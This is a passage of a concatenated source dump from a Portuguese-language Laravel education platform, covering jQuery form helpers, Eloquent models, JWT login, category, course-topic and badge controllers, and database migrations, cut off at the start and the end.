fa-times-circle"></i></button>'+ '</span>'; $(element.parentNode).find("#divInputMultiple").append( novoValor ); }); } else { var novoValor = '<span class="tag-autor mr-2 p-1 px-3">'+ '<span class="autor-name">' + element.value + '</span>'+ '<button type="button" onclick="removerValor(this)" class="btn p-0 m-0 ml-1 text-white bg-transparent"><i class="far fa-times-circle"></i></button>'+ '</span>'; $(element.parentNode).find("#divInputMultiple").append( novoValor ); } element.value = ""; AtualizarInputMultiple(element.parentNode); } function removerValor(element) { var divMain = element.parentNode.parentNode.parentNode; if($(divMain).first().find(".autor-name").length == 1) { $(divMain).find("#divInputMultiple").addClass('d-none'); $(divMain).find("#txtInputMultiple").removeClass('d-none'); } $(element.parentNode).remove(); AtualizarInputMultiple(divMain); if (!e) var e = window.event; e.cancelBubble = true; if (e.stopPropagation) e.stopPropagation(); } function AtualizarInputMultiple(element) { if($(element).find("#txtResultMultiple").length >= 1) { $(element).find("#txtResultMultiple").val(""); var valores = []; $(element).find("#divInputMultiple .autor-name").each(function() { valores.push( $( this ).text() ); }); $(element).find("#txtResultMultiple").val( JSON.stringify(valores) ) console.log($(element).find("#txtResultMultiple").val()); console.log("Não sumario"); } else if($(element.parentNode.parentNode.parentNode).find("#txtResultSumario").length >= 1 ) { console.log("É sumario"); var divItensSumario = element.parentNode.parentNode.parentNode; $(divItensSumario).find("#txtResultSumario").val(); var sumario = []; $(divItensSumario).find(".item-sumario").each(function(index) { var autores = []; $(this).find(".autores .input-autor .autor-name").each(function(index2) { autores.push($(this).text()); }); var palavras = []; $(this).find(".palavras .input-autor .autor-name").each(function(index2) { palavras.push($(this).text()); }); sumario.push({ 'titulo' : $(this).find("#txtTituloItemSumario").val(), 'autores' : autores, 'palavras' : palavras, 'pagina' : $(this).find("#txtPaginaItemSumario").val() }); }); console.log("Itens do sumário: ", sumario); $(divItensSumario).find("#txtResultSumario").val( JSON.stringify(sumario) ); // console.log( $(divItensSumario).find("#txtResultSumario").val() ); } } function confirmLogout() { swal({ title: "Saindo", text: "Deseja sair da plataforma?", icon: "warning", buttons: ["Não", "Sim"], dangerMode: true, }) .then((willLogout) => { if (willLogout) { if(document.getElementById("logout-form") != null) { document.getElementById("logout-form").submit(); } else { console.error('Error: logout-form not found!'); } } }); } function mudouArquivoCapa(input) { // if(input.value.substring(input.value.length - 4).toLowerCase() != ".pdf") if(input.accept.toString().indexOf(input.value.substring(input.value.length - 3).toLowerCase()) < 0) { input.value = null; swal('Atenção!', "Selecione um arquivo do tipo correto!", "warning"); } var imgIcon = ""; if(input.id.indexOf("capa") >= 0) { imgIcon = '<i class="far fa-image fa-2x text-darkmode mr-2" style="vertical-align:sub;"></i>'; } if(input.value != null && input.value != "") { $("#" + input.parentNode.id + " #placeholder").addClass('d-none'); $("#" + input.parentNode.id + " #file-name").html( imgIcon + input.value.split(/(\\|\/)/g).pop() ); $("#" + input.parentNode.id + " #file-name").removeClass('d-none'); } else { $(input.parentNode).css('background', '#207adc'); $("#" + input.parentNode.id + " #placeholder").removeClass('d-none'); $("#" + input.parentNode.id + " #file-name").addClass('d-none'); } if(input.id.indexOf("capa") >= 0) { if (input.files &&input.files[0]) { var reader = new FileReader(); reader.onload = function(e) { $(input.parentNode).attr('style', 'color:white; background: url(\'' + e.target.result + '\');background-size: contain;background-position: 50% 50%;background-repeat: no-repeat;'); } reader.readAsDataURL(input.files[0]); } } } function mudouArquivoInput(input) { // if(input.accept.toString().indexOf(input.value.substring(input.value.length - 3).toLowerCase()) < 0) // { // input.value = null; // swal("Ops!", "Selecione um arquivo do tipo correto!", "warning"); // } if(input.value != null && input.value != "") { $(input.parentNode).find('.file-name').text( input.value.split(/(\\|\/)/g).pop() ); } else { $(input.parentNode).find('.file-name').text( "Selecionar arquivo" ); } } function enviouArquivo(input) { if(input.accept.toString().indexOf(input.value.substring(input.value.length - 3).toLowerCase()) < 0) { input.value = null; swal("Ops!", "Selecione um arquivo do tipo correto!", "warning"); } if(input.value != null && input.value != "") { $(input.parentNode).find('#placeholder').addClass('d-none'); $(input.parentNode).find('.file-name').removeClass('d-none'); $(input.parentNode).find('.file-name').text( input.value.split(/(\\|\/)/g).pop() ); } else { $(input.parentNode).find('.file-name').addClass('d-none'); $(input.parentNode).find('#placeholder').removeClass('d-none'); } } function excluirNotificacao(id) { $.ajax({ url: appurl + '/notificacao/' + id + '/excluir', type : 'get', dataType: 'json', success : function(_response) { console.log(_response); if(_response.success != null) { if(id == "todas") { $(".box-notificacao").remove(); } else { $("#divNotificacao" + id).remove(); } if(parseInt($("#lblQtNotificacoes").text()) > 1) { $("#lblQtNotificacoes").text((parseInt($("#lblQtNotificacoes").text()) - 1)); } else { $("#lblQtNotificacoes").addClass('d-none'); } if($("#divNotificacoes .dropdown-item").length == 0) { $("#divNotificacoes").append(`<div class="dropdown-item px-4 py-3" style="color: #60748A;min-width: 340px;border-bottom: 2px solid #E3E5F0;"> Você não possui notificações. </div>`); } } }, error : (err) => { console.log(err); } }); } function toggleSideMenu() { // if($("#divSideMenu").length > 0) // { // console.log($("#divSideMenu").css("width")); // if($("#divSideMenu").css("margin-left") != "0px") // { // $("#divMainMenu").css("max-width", "calc(100% - " + $("#divSideMenu").css("width") + ")"); // setTimeout(() => { // $("#divSideMenu").css("margin-left", "0px"); // }, 100); // } // else // { // $("#divSideMenu").css("margin-left", "-" + $("#divSideMenu").css("width")); // setTimeout(() => { // $("#divMainMenu").css("max-width", "100%"); // }, 100); // } // } if($(".sidebar").hasClass("show")) { $(".sidebar").removeClass("show"); } else { $(".sidebar").addClass("show"); } } function mostrarBarraPesquisa() { if($(".navbar #txtPesquisaPrincipal").hasClass('d-none')) { $(".navbar #txtPesquisaPrincipal").removeClass('d-none'); } else { $(".navbar #txtPesquisaPrincipal").addClass('d-none'); $(".navbar #formPesquisar").submit(); } } function findValueWhere(_array, _match, _needle) { // iterate over each element in the array for (var i = 0; i < _array.length; i++) { if (_array[i][_match] == _needle) { return _array[i]; } } } function showCodigoAula() { if(!$(".sidebar").hasClass('show')) { toggleSideMenu(); } $(".sidebar #lblInserirCodigoAula").addClass('d-none'); $(".sidebar #formInserirCodigoAula").removeClass('d-none'); $(".sidebar [name='codigo']").focus(); } <file_sep>/app/Entities/Audio/Audio.php <?php namespace App\Entities\Audio; use App\Entities\Album\Album; use App\Entities\Playlist\Playlist; use App\Entities\AudioInteracoes\AudioInteracoes; use App\User; use Illuminate\Database\Eloquent\Model; class Audio extends Model { protected $table = "audios"; protected $hidden = ['pivot']; //Preenchiveis protected $fillable = [ 'user_id', 'categoria_id', 'titulo', 'descricao', 'file', 'duracao' ]; public function user() { return $this->belongsTo(User::class, 'user_id'); } public function albuns() { return $this->belongsToMany(Album::class, 'album_audios', 'audio_id'); } public function playlists() { return $this->belongsToMany(Playlist::class, 'playlist_audios', 'audio_id'); } public function interacoes() { return $this->hasMany(AudioInteracoes::class, 'audio_id') ->orderBy('inicio', 'ASC'); } public function getIdAttribute($value) { return "$value"; } public function getUrlAttribute() { $path = env("APP_URL") . '/uploads/audios/user_id_' . $this->attributes['artist'] . '/' . $this->attributes['url']; return $path; } public function getDurationAttribute() { $duracao = $this->attributes['duration']; sscanf($duracao, "%d:%d:%d", $hours, $minutes, $seconds); $durationSeconds = isset($hours) ? $hours * 3600 + $minutes * 60 + $seconds : $minutes * 60 + $seconds; return $durationSeconds; } public function getArtistAttribute() { $user = User::where('id', $this->attributes['artist'])->select('name')->first(); return $user->name; } } <file_sep>/app/Generals/Presenter/Questoes/QuestoesPresenter.php <?php namespace App\Generals\Presenter\Questoes; use Laracasts\Presenter\Presenter; class QuestoesPresenter extends Presenter { public function questoesTipo() { if ($this->tipo === 1) { return 'Dissertativa'; } if($this->tipo === 2){ return 'Múltipla escolha'; } return 'Nenhum tipo encontrado'; } } <file_sep>/app/Http/Controllers/Exportacao/ExportacaoController.php <?php namespace App\Http\Controllers\Exportacao; class ExportacaoController { public function tirarAcentos($string) { return preg_replace(array("/(á|à|ã|â|ä)/","/(Á|À|Ã|Â|Ä)/","/(é|è|ê|ë)/","/(É|È|Ê|Ë)/","/(í|ì|î|ï)/","/(Í|Ì|Î|Ï)/","/(ó|ò|õ|ô|ö)/","/(Ó|Ò|Õ|Ô|Ö)/","/(ú|ù|û|ü)/","/(Ú|Ù|Û|Ü)/","/(ñ)/","/(Ñ)/"),explode(" ","a A e E i I o O u U n N"),$string); } public function generateFileName($prefix, $string, $extension = '') { $fileName = $prefix . '_' . mb_strtolower($this->tirarAcentos(str_replace(' ', '_', $string))) . '.' . $extension; return $fileName; } public function callDownloadFromStream($content, $fileName, $contentType = '') { ob_start(); if(!$contentType || empty($contentType)) { $headers = ['Content-Type: application/json; charset=utf-8']; } echo $content; return response()->streamDownload(function() { $bufferstr = ob_get_contents(); }, $fileName, $headers); ob_end_clean(); } }<file_sep>/app/Http/Controllers/BaseController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; class BaseController extends Controller { public function index() { return 'base'; } }<file_sep>/app/Http/Controllers/Badges/Api/BadgesController.php <?php namespace App\Http\Controllers\Badges\Api; use App\Entities\BadgeUsuario\Api\Repository as BadgeUsuario; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class BadgesController extends Controller { private $badgeUsuario; public function __construct(BadgeUsuario $badgeUsuario) { $this->badgeUsuario = $badgeUsuario; } public function desbloquearUsuarioBadge($idUsuario, $idBadge) { try { $this->badgeUsuario->store(['user_id' => $idUsuario, 'badge_id' => $idBadge]); return response()->json(["success" => "Medalha desbloqueada com sucesso!"]); } catch (\Exception $exception) { return response()->json(["error" => "Erro ao desbloquear medalha", "message:" => $exception->getMessage()]); } } public function desbloquearUsuarioAuthBadge($idBadge) { if ($this->badgeUsuario->store(['user_id' => Auth::user()->id, 'badge_id' => $idBadge])) { return response()->json(["success" => "Medalha desbloqueada com sucesso!"]); } return response()->json(["error" => "Erro ao desbloquear medalha"]); } } <file_sep>/app/Entities/AudioInteracoes/AudioInteracoes.php <?php namespace App\Entities\AudioInteracoes; use App\Entities\Audio\Audio; use App\User; use Illuminate\Database\Eloquent\Model; class AudioInteracoes extends Model { protected $table = "audios_interacoes"; //Preenchiveis protected $fillable = [ 'user_id', 'audio_id', 'titulo', 'descricao', 'inicio', 'fim' ]; public function user() { return $this->belongsTo(User::class, 'user_id'); } public function interacao() { return $this->belongsTo(Audio::class, 'audio_id'); } } <file_sep>/app/Entities/Questoes/Questoes.php <?php namespace App\Entities\Questoes; use App\Entities\TesteNivelamento\TesteNivelamentoQuestao; use App\Generals\Presenter\Questoes\QuestoesPresenter; use Illuminate\Database\Eloquent\Model; use Laracasts\Presenter\PresentableTrait; class Questoes extends Model { // tipo == 1 é dissertativa // tipo == 2 multipla escolha use PresentableTrait; protected $presenter = QuestoesPresenter::class; protected $table = "questoes"; //Preenchiveis protected $fillable = [ 'user_id', 'titulo', 'descricao', 'tipo', 'alternativas', 'resposta_correta' ]; } <file_sep>/app/Http/Controllers/HomeController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\User; use App\Conteudo; use App\Metrica; use App\Turma; use App\AlunoTurma; class HomeController extends Controller { public function index() { return redirect()->route('home'); } public function home() { if(Metrica::where([['user_id', '=', Auth::user()->id], ['titulo', 'like', 'Jogar aplicação%']])->first() != null) { $idUltimaAplicacao = str_replace('Jogar aplicação - ', "", Metrica::where([['user_id', '=', Auth::user()->id], ['titulo', 'like', 'Jogar aplicação - %']])->first()->titulo); } else { $idUltimaAplicacao = 0; } if(AlunoTurma::where('user_id', '=', Auth::user()->id)->first() != null) { $idTurma = AlunoTurma::where('user_id', '=', Auth::user()->id)->first()->turma_id; } else { $idTurma = 0; } if(Turma::find($idTurma) != null) { $idProfessor = Turma::find($idTurma)->user_id; } else { $idProfessor = 0; } return view('home')->with( compact('idUltimaAplicacao', 'idTurma', 'idProfessor') ); } public function entrar() { if(\Auth::check()) { return redirect()->route('catalogo'); } else { return view('auth.login'); } } public function registrar() { if(\Auth::check()) { return redirect()->route('catalogo'); } else { return view('auth.register'); } } } <file_sep>/app/Http/Controllers/API/AudioPlaylistController.php <?php namespace App\Http\Controllers\API; use Illuminate\Http\Request; use App\Http\Controllers\Controller; class AudioPlaylistController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request, $idPlaylist, $idAudio) { $user = JWTAuth::toUser(); try { $playlist = Playlist::where("user_id", $user->id)->find($idPlaylist); $playlist->audios()->attach($idAudio); return response()->json(["message" => "Playlist atualizada com sucesso!"]); } catch (\Exception $exception) { return response()->json(["error" => $exception->getMessage()], 500); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $idPlaylist, $idAudio) { $user = JWTAuth::toUser(); $validate = Validator::make($request->all(), [ "audio_id" => ["required"], ], [ "audio_id.required" => "Selecione pelo menos 1 áudio em sua playlist." ]); if ($validate->fails()) return response()->json(["error" => $validate->errors()]); try { $playlist = Playlist::where("user_id", $user->id)->find($idPlaylist); $playlist->audios()->sync($idAudio); return response()->json(["message" => "Playlist atualizada com sucesso!"]); } catch (\Exception $exception) { return response()->json(["error" => $exception->getMessage()], 500); } } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($idPlaylist, $idAudio) { $user = JWTAuth::toUser(); try { $playlist = Playlist::where("user_id", $user->id)->find($idPlaylist); $playlist->audios()->detach($idAudio); return response()->json("Playlist atualizada com sucesso!"); } catch (\Exception $exception) { return response()->json(["error" => $exception->getMessage()], 500); } } } <file_sep>/database/migrations/2019_08_08_111945_create_escolas_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateEscolasTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('escolas', function(Blueprint $table) { $table->integer('id', true); $table->integer('user_id'); $table->string('titulo'); $table->text('descricao'); $table->string('capa'); $table->boolean('postagem_aberta')->nullable(); $table->integer('limite_alunos'); $table->string('nome_completo')->nullable(); $table->string('cnpj')->nullable(); $table->string('nome_responsavel')->nullable(); $table->string('email_responsavel')->nullable(); $table->string('telefone_responsavel')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('escolas'); } } <file_sep>/app/Http/Controllers/Habilidades/Admin/HabilidadesController.php <?php namespace App\Http\Controllers\Habilidades\Admin; use App\Entities\Habilidade\Habilidade; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Auth; class HabilidadesController extends Controller { private $habilidade; public function __construct(Habilidade $habilidade) { $this->habilidade = $habilidade; } public function index() { $habilidades = Habilidade::orderBy('id', 'DESC')->get(); $categorias = Habilidade::all()->pluck('categoria')->unique()->toArray(); return view('pages.habilidades.admin.index', compact('habilidades', 'categorias')); } public function store(Request $request) { $this->validate($request, [ 'titulo' => 'required', 'categoria' => 'required' ]); $values = $request->all(); $values['user_id'] = Auth::user()->id; Habilidade::create($values); return redirect()->route('gestao.habilidades.listar')->with('message', 'Habilidade cadastrada com sucesso!'); } public function update($id, Request $request) { $this->validate($request, [ 'titulo' => 'required', 'categoria' => 'required' ]); $values = $request->all(); Habilidade::find($id)->update($values); return redirect()->route('gestao.habilidades.listar')->with('message', 'Habilidade atualizada com sucesso!'); } public function delete(Request $request) { Habilidade::find($request->idHabilidade)->delete(); return redirect()->route('gestao.habilidades.listar')->with('message', 'Habilidade excluída com sucesso!'); } } <file_sep>/app/Http/Controllers/TopicoCursoController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Auth; use Redirect; use Session; use Carbon\Carbon; use App\User; use App\Metrica; use App\Curso; use App\TopicoCurso; use App\ComentarioTopicoCurso; use App\AvaliacaoInstrutor; class TopicoCursoController extends Controller { public function index($curso_id) { $curso = Curso::with('escola')->find($curso_id); if($curso == null) { return redirect()->back()->withErrors("Curso não encontrado!"); } if(AvaliacaoInstrutor::where('instrutor_id', '=', $topico->user->id)->avg('avaliacao') > 0) $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', $topico->user->id)->avg('avaliacao'); else $avaliacaoInstrutor = '-'; $topicos = TopicoCurso::where([['curso_id', '=', $curso_id]]) ->orderBy('status', 'asc') ->orderBy('created_at', 'desc') ->get(); // ->sortBy('status'); foreach ($topicos as $topico) { $topico->qt_comentarios = ComentarioTopicoCurso::where([['topico_curso_id', '=', $topico->id]])->count(); } // dd($topicos); return view('curso.topicos')->with(compact('topicos', 'curso', 'avaliacaoInstrutor')); } public function postNovoTopico($curso_id, Request $request) { if(Curso::find($curso_id) == null) { Redirect::back()->withErrors(['Curso não encontrado!']); } else if(Curso::find($curso_id)->user_id != Auth::user()->id && (strtoupper(Auth::user()->permissao) != "P" && strtoupper(Auth::user()->permissao) != "G" && strtoupper(Auth::user()->permissao) != "Z")) { Redirect::back()->withErrors(['Você não tem permissão para realizar esta ação!']); } else { $topico = TopicoCurso::create([ 'curso_id' => $curso_id, 'user_id' => Auth::user()->id, 'titulo' => $request->titulo, 'descricao' => $request->descricao ]); return Redirect::back()->with('message', 'Tópico enviada com sucesso!'); } } public function topico($curso_id, $topico_curso_id) { $topico = TopicoCurso::with('curso', 'user', 'comentarios')->has('curso')->has('user')->find($topico_curso_id); // dd($topico); if($topico == null) { return redirect()->route('curso', $curso_id)->withErrors("Tópico não encontrado!"); } if(AvaliacaoInstrutor::where('instrutor_id', '=', $topico->user->id)->avg('avaliacao') > 0) $avaliacaoInstrutor = AvaliacaoInstrutor::where('instrutor_id', '=', $topico->user->id)->avg('avaliacao'); else $avaliacaoInstrutor = '-'; $curso = Curso::find($curso_id); Metrica::create([ 'user_id' => Auth::check() ? Auth::user()->id : 0, 'titulo' => 'Visualização tópico - ' . $topico->id ]); $topico->visualizacoes = Metrica::where('titulo', '=', 'Visualização tópico - ' . $topico->id)->pluck('user_id')->unique('user_id')->count(); return view('curso.topico')->with(compact('curso', 'topico', 'avaliacaoInstrutor')); } public function postAtualizarTopico($curso_id, $topico_curso_id, Request $request) { // dd($topico_curso_id); if(TopicoCurso::find($topico_curso_id) == null) { return Redirect::back()->withErrors(['Tópico não encontrado!']); } else { TopicoCurso::find($topico_curso_id)->update([ 'status' => $request->status ]); return Redirect::back()->with('message', 'Tópico atualizado com sucesso!'); } } public function postExcluirTopico($curso_id, $topico_curso_id) { if(TopicoCurso::find($topico_curso_id) == null) { return Redirect::back()->withErrors(['Tópico não encontrado!']); } else { TopicoCurso::find($topico_curso_id)->delete(); return Redirect::back()->with('message', 'Tópico excluída com sucesso!'); } } public function postEnviarComentarioTopico($curso_id, $topico_curso_id, Request $request) { if(TopicoCurso::find($topico_curso_id) == null) { Redirect::back()->withErrors(['Tópico não encontrado!']); } else { $comentario = ComentarioTopicoCurso::create([ 'topico_curso_id' => $topico_curso_id, 'user_id' => Auth::user()->id, 'conteudo' => $request->conteudo ]); return Redirect::back();//->with('message', 'Comentário enviado com sucesso!'); } } public function postExcluirComentarioTopico($curso_id, $topico_curso_id, $comentario_id) { if(ComentarioTopicoCurso::find($comentario_id) == null) { return Redirect::back()->withErrors(['Comentário não encontrado!']); } else { ComentarioTopicoCurso::find($comentario_id)->delete(); return Redirect::back();//->with('message', 'Comentário excluído com sucesso!'); } } } <file_sep>/app/CodigoAcessoEscola.php <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Input; class CodigoAcessoEscola extends Model { protected $table = 'codigo_acesso_escola'; //Preenchiveis protected $fillable = [ 'escola_id', 'turma_id', 'codigo', 'aluno_id', ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ ]; public function escola() { return $this->belongsTo('App\Escola'); } public function turma() { return $this->belongsTo('App\Turma'); } public function aluno() { return $this->belongsTo('App\User', 'aluno_id'); } } <file_sep>/app/Http/Controllers/API/LoginController.php <?php namespace App\Http\Controllers\API; use App\User; use App\Lib\Format; use App\Entities\GamificacaoUsuario\GamificacaoUsuario; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Lang; use Illuminate\Support\Facades\Mail; use Tymon\JWTAuth\Exceptions\JWTException; use Tymon\JWTAuth\Facades\JWTAuth; class LoginController extends Controller { public function login(Request $request) { try { $credentials = array( "email" => $request->data["email"], "password" => $request->data["password"], ); try { $token = JWTAuth::attempt($credentials); } catch (JWTException $ex) { return response()->json(["error" => Lang::get("messages.error_generate_token")], 500); } if (!$token) { return response()->json(["error" => Lang::get("messages.invalid_credentials")], 401); } $user = JWTAuth::toUser($token); $GamificacaoUsuario = new GamificacaoUsuario(); $xp = GamificacaoUsuario::select('xp')->where('user_id', $user->id)->first()["xp"]; $user["xp"] = $xp; $user["level"] = $GamificacaoUsuario->getLevel($xp); return [ "access_token" => $token, "token_type" => "bearer", "expires" => config("jwt.ttl"), "user" => $user, ]; } catch (\Exception $e) { return response(["message" => $e->getMessage()], 500); } } public function refresh() { try { if ($token = JWTAuth::getToken()) { return [ "access_token" => JWTAuth::refresh($token), "token_type" => "bearer", "expires" => config("jwt.ttl") ]; } } catch (JWTException $e) { return response(["message" => $e->getMessage()], 500); } return response(Lang::get("messages.request_without_token"), 401); } public function forgotPassword(Request $request){ $data = collect($request->data); if (!$data->has("email")) return response(["message" => "Email não informado"], 500); $user = User::where("email", $data["email"])->get(); if (!count($user)) return response(["message" => "Email não encontrado"], 500); try { $user = $user->first(); $user->remember_token = Hash::make(env("APP_KEY")); $user->save(); $data = [ "email" => $data["email"], "name" => $user->name, "token" => md5(uniqid(time(), true)) ]; Mail::send("mail.reset-email", $data, function ($message) use ($data) { $message->from("<EMAIL>", "Suporte <NAME>"); $message->to($data["email"], $data["name"])->subject("<NAME> - Link para resetar senha"); }); return response(["message" => "Email enviado com sucesso. Verifique seu email para resetar sua senha"], 200); } catch (\Exception $e) { return response(["message" => $e->getMessage()], 500); } } public function logout(Request $request) { try { $token = $request->get("token"); JWTAuth::invalidate($token); return ["message" => Lang::get("messages.logout_success")]; } catch (JWTException $e) { return response(["message" => Lang::get("messages.logout_error")], 500); } } } <file_sep>/app/Http/Controllers/CategoriaController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Input; use Redirect; use Session; use App\Categoria; class CategoriaController extends Controller { public function index() { return 'base'; } public function categorias() { if(Input::get('qt') == null) $amount = 10; else $amount = Input::get('qt'); if(Input::get('pesquisa') != null) $pesquisa = Input::get('pesquisa'); if(isset($pesquisa)) { $categorias = Categoria::where('id', 'like', '%' . $pesquisa . '%')-> orWhere('titulo', 'like', '%' . $pesquisa . '%')-> paginate($amount); } else { $categorias = Categoria::paginate($amount); } // dd($categorias); return view('dashboard.categorias')->with(compact('categorias', 'amount')); } public function postNova(Request $request) { // dd(Categoria::where('titulo', '=', $request->titulo)->first()); if(Categoria::where('titulo', '=', $request->titulo)->first() != null) { \Session::flash('error', '!Categoria já existente!'); } else { Categoria::create([ 'user_id' => \Auth::user()->id, 'titulo' => mb_strtolower($request->titulo, 'utf-8'), 'tipo' => $request->tipo, ]); \Session::flash('success', 'Categoria criada com sucesso!'); } return redirect()->route('gestao.categorias'); } public function postUpdate(Request $request) { if(Categoria::find($request->id) != null) { Categoria::find($request->id)->update([ 'titulo' => mb_strtolower($request->titulo, 'utf-8'), 'tipo' => $request->tipo, ]); return Redirect::back()->with('message', 'Categoria atualizada com sucesso!'); } else { return Redirect::back()->withErrors(['Categoria não encontrada!']); } } public function getCategoria($idCategoria) { if(Categoria::find($idCategoria) != null) { $categoria = Categoria::find($idCategoria); return response()->json(["response" => true, 'data' => 'Categoria encontrada com sucesso!', 'categoria' => $categoria]); } else { return response()->json(["response" => false, 'data' => 'Categoria não encontrada!']); } } public function deletar($idCategoria) { if( strrpos(mb_strtoupper(\Auth::user()->permissao, 'UTF-8'), "Z") === false) { return response()->json(['error' => 'Você não tem permissão para deletar este item, consulte o administrador!']); } if(Categoria::find($idCategoria) != null) { if(mb_strtolower(Categoria::find($idCategoria)->titulo, 'utf-8') != "geral") { $categoria = Categoria::find($idCategoria); $categoria->delete(); return response()->json(['success' => 'Categoria deletada com sucesso!']); } else { return response()->json(['error' => 'Você não pode deletar a categorial Geral!']); } } else { return response()->json(['error' => 'Categoria não encontrada!']); } } } <file_sep>/database/migrations/2019_08_08_111945_create_avaliacoes_escola_table.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; class CreateAvaliacoesEscolaTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('avaliacoes_escola', function(Blueprint $table) { $table->integer('user_id'); $table->integer('escola_id'); $table->text('descricao'); $table->float('avaliacao', 10, 0); $table->timestamps(); $table->primary(['user_id','escola_id']); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('avaliacoes_escola'); } } <file_sep>/app/Entities/Habilidade/Habilidade.php <?php namespace App\Entities\Habilidade; use App\Entities\HabilidadeUsuario\HabilidadeUsuario; use App\User; use Illuminate\Database\Eloquent\Model; class Habilidade extends Model { protected $table = 'habilidades'; //Preenchiveis protected $fillable = [ 'user_id', 'titulo', 'visibilidade', 'categoria' ]; // Protegidos protected $hidden = [ ]; //Padrões protected $attributes = [ 'visibilidade' => 1, ]; public function user() { return $this->belongsTo(User::class, 'user_id'); } public function habilidade_usuario() { return $this->belongsTo(Habilidade::class); } public function minhas() { return $this; } } <file_sep>/resources/lang/en/messages.php <?php return [ 'invalid_credentials' => 'Login ou Senha inválidos', 'error_generate_token' => 'Não foi possível criar o token', 'generic_error' => 'Erro inesperado. Contacte o administrador', 'request_without_token' => 'Token não fornecido', 'logout_success' => 'Logout efetuado com sucesso', 'logout_error' => 'Erro ao efetuar o logout', 'mensagem_cadastro' => ':nome salv:artigo com sucesso', 'mensagem_erro_padrao' => 'Erro ao tentar efetuar a operação. Tente novamente', 'mensagem_removido' => ':nome removid:artigo com sucesso', 'mensagem_atualizado' => ':nome atualizad:artigo com sucesso', 'validacao_required' => 'Preencha o campo :nome', 'validacao_integer' => 'Preencha o campo :nome', 'validacao_numeric' => 'O campo :nome deve conter apenas números', 'validacao_email' => 'O e-mail informado é invalido', 'validacao_unique' => 'Este :nome já foi cadastrado', 'validacao_mimes' => 'Apenas formatos :nome são validos', 'validacao_cpf_invalido' => 'CPF inválido', 'validacao_max' => 'O limite para upload de arquivo é de '.env('LIMITE_TAMANHO_UPLOAD'), 'validacao_gte' => 'O campo :nome deve ser maior ou igual que :value', 'validacao_cpf_formato_invalido' => 'O CPF deve ser no formato xxx.xxx.xxx-xx', 'validacao_cnpj_invalido' => 'CNPJ inválido', 'validacao_cnpj_formato_invalido' => 'O CNPJ deve ser no formato xx.xxx.xxx/xxxx-xx', 'template' => 'template', ]; <file_sep>/app/Entities/GamificacaoUsuario/GamificacaoUsuario.php <?php namespace App\Entities\GamificacaoUsuario; use App\User; use Illuminate\Database\Eloquent\Model; class GamificacaoUsuario extends Model { protected $table = "gamificacao_usuario"; //Preenchiveis protected $fillable = [ 'user_id', 'xp', 'notificado_level_up', ]; protected $attributes = [ 'notificado_level_up' => true, ]; protected $casts = [ 'notificado_level_up' => 'boolean', ]; // // Relationships // public function user() { return $this->belongsTo(User::class, 'user_id'); } public function user_escola() { return $this->belongsTo(User::class, 'user_id')->with('escola'); } // // Mutators // public function getXpResetedAttribute() { $xp = $this->xp - $this->level_xp( $this->level_atual() ); return $xp; } // Game & Level Design functions // Ajustar de acordo com a dificuldade para passar de nível protected $xp_variable = 50; public function level_atual() { return $this->getLevel($this->xp) ; } public function level_xp($lvl) { $level_xp = $this->xp_variable * $lvl * $lvl - $this->xp_variable * $lvl; return $level_xp; } public function next_level_xp($reseted = false) { if(!$reseted) { $next_level = $this->getLevel($this->xp) + 1; $next_level_xp = $this->xp_variable * $next_level * $next_level - $this->xp_variable * $next_level; } else { $previous_level_xp = $this->level_xp( $this->level_atual() ); $next_level_xp = $this->next_level_xp() - $previous_level_xp; } return $next_level_xp; } public function next_level_progress($reseted = false) { if($this->xp == 0) { return 0; } if(!$reseted) { $percentual = (($this->xp * 100) / $this->next_level_xp()); } else { $percentual = (($this->xp_reseted * 100) / $this->next_level_xp(true)); } return $percentual; } public function getLevel($amount_xp) { $level = ($this->xp_variable + sqrt($this->xp_variable * $this->xp_variable - 4 * $this->xp_variable * (- $amount_xp ) ))/ (2 * $this->xp_variable); // $level = (25 + sqrt(625 + 100 * $this->xp)) / 50; // return ($level); return floor($level); } } <file_sep>/app/Generals/Presenter/Conteudos/ConteudoPresenter.php <?php namespace App\Generals\Presenter\Conteudos; use Laracasts\Presenter\Presenter; class ConteudoPresenter extends Presenter { public function conteudoTipo() { if ($this->tipo === 1) { return 'Misto'; } if ($this->tipo === 2) { return 'Áudio'; } if ($this->tipo === 3) { return 'Vídeo'; } if ($this->tipo === 4) { return 'Slide'; } if ($this->tipo === 5) { return 'Transmissão'; } if ($this->tipo === 6) { return 'Upload'; } if ($this->tipo === 7) { return 'Dissertativa'; } if ($this->tipo === 8) { return 'Quiz'; } if ($this->tipo === 9) { return 'Prova'; } if ($this->tipo === 10) { return 'Entregável'; } if ($this->tipo === 11) { return 'Livro digital'; } return 'nenhum tipo encontrado'; } } <file_sep>/app/Console/Kernel.php <?php namespace App\Console; use Illuminate\Console\Scheduling\Schedule; use Illuminate\Foundation\Console\Kernel as ConsoleKernel; class 